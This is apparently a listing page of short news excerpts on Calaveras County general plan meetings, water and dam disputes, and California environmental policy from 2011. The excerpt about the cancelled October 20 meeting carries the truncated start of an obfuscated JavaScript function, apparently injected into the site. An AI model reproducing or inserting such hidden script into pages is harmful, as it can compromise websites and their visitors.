General Plan Study Session Scheduled for November 22

The Board of Supervisors agenda (available here) shows a Study Session “Refinements to the General Plan Preferred Land Use Map” at 2:00 pm.  This is an important next step in the General Plan process and we encourage all of you who can find the time to attend and make sure your concerns are being addressed. The entire agenda packet is available here.  The agenda packet includes Planning Department documents for the Study Session but... Read More

Rebecca Willis, Planning Director, announces a Nov. 22nd General Plan Workshop/ Study Session

Planning Director, Rebecca Willis, spoke during Review of Correspondence and Reports; you can watch the video (she speaks at 1 hr. 1 min. ~50 sec.+) here. Rebecca Willis gave a brief summary of the process so far and noted that there is now brand new Planning  staff.  She then announced that a workshop/study session is scheduled at the Board’s next meeting Nov. 22. Rebecca indicated that the purpose of the study session is to review the land... Read More

Calaveras Planning Coalition Hosts Planning Director Rebecca Willis

Calaveras Planning Director Rebecca Willis was the guest of the Calaveras Planning Coalition at their November 7 “Brown Bag” discussion.  Rebecca has been on the job for three months.  This gathering provided the opportunity for her to introduce herself to Planning Coalition members and to answer some of their questions. Rebecca has many years of planning experience in Southern and Northern California.  She was most recently Community Development... Read More

GOVERNOR VETOES AB 1220

October 11, 2011 The Governor decided to veto AB 1220 on Sunday – the last day he was able to take action on a bill. This bill was modeled after AB 602 from last year, which was also vetoed by then Governor Arnold Schwarzenegger. While it was vetoed last year, the exact same language returned this year. AB 1220 would originally have expanded from one year to five years the statute of limitations to sue a city or county, challenging the adoption... Read More

California Adopts Nation’s Most Sweeping Cap & Trade Plan

But it’s just another milestone in a long journey that’s far from finished. It’s official (no, really, this time). California has cap & trade — or will once the program starts ramping up next year. Today’s approval by the state’s Air Resources Board was described by chair Mary Nichols as like “moving a large army a few feet in one direction.” Those other measures include stricter standards for tailpipe emissions, a “low-carbon... Read More

Calaveras County Ups Road-Impact Fee on Developments

Written by Sean Janssen, The Union Democrat October 26, 2011 01:41 pm The Calaveras County Board of Supervisors in a 3-2 vote Tuesday approved a $238 increase in road impact fees charged to new developments. The increase is designed to catch up with the cost of inflation since 2009. The board was divided on whether now is the right time to make the move. Some members wanted to wait and make a larger boost in the cost per equivalent single-family home... Read More

EBMUD Report Reflects Foothill Opposition to Pardee Expansion

In mid-September, EBMUD issued a report on the latest round of public hearings on EBMUD’s proposal to build a higher Pardee Dam and to convert more of the Mokelumne River into a flat water reservoir.  The report includes notes and quotes from the many speeches, letters, and emails of Calaveras County residents, business owners, organizations, and public officials opposing the new dam.  (Click here to go to the report)  The report appendices,... Read More

October 20th Planning Commission Meeting Cancelled / BOS General Plan Study Session Scheduled

The next meeting will be on November 3rd. You may also want to mark you calendars for: NOVEMBER 9 – BOARD OF SUPERVISORS STUDY SESSION ON THE STATUS OF THE GENERAL PLAN UPDATE Correction – this posting appears to be an error on the BOS website…there is no study session scheduled at this time.   function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More

Amador General Plan Slogs Along

Page 5 / Foothill Focus / Fall 2011 / www.foothillconservancy.org Amador County has been working on the update of the county general plan, the “Constitution” of local planning, since 2006. Most recently, the county supervisors and planning commissioners spent several days in public hearings wordsmithing the text and incorporating edits from the pro-development lobbying group, the Amador County Business Council. The ACBC’s members... Read More

Lode Water Officials Critical of Delta Restoration Proposals

By Dana M. Nichols October 09, 2011 Record Staff Writer October 09, 2011 12:00 AM SAN ANDREAS – The Delta Stewardship Council’s proposals for restoring the Sacramento-San Joaquin River Delta and improving water supply reliability will instead make water supply less reliable for Calaveras County and other mountain areas, Mother Lode water district officials said. “What it means for Calaveras County and our community is... Read More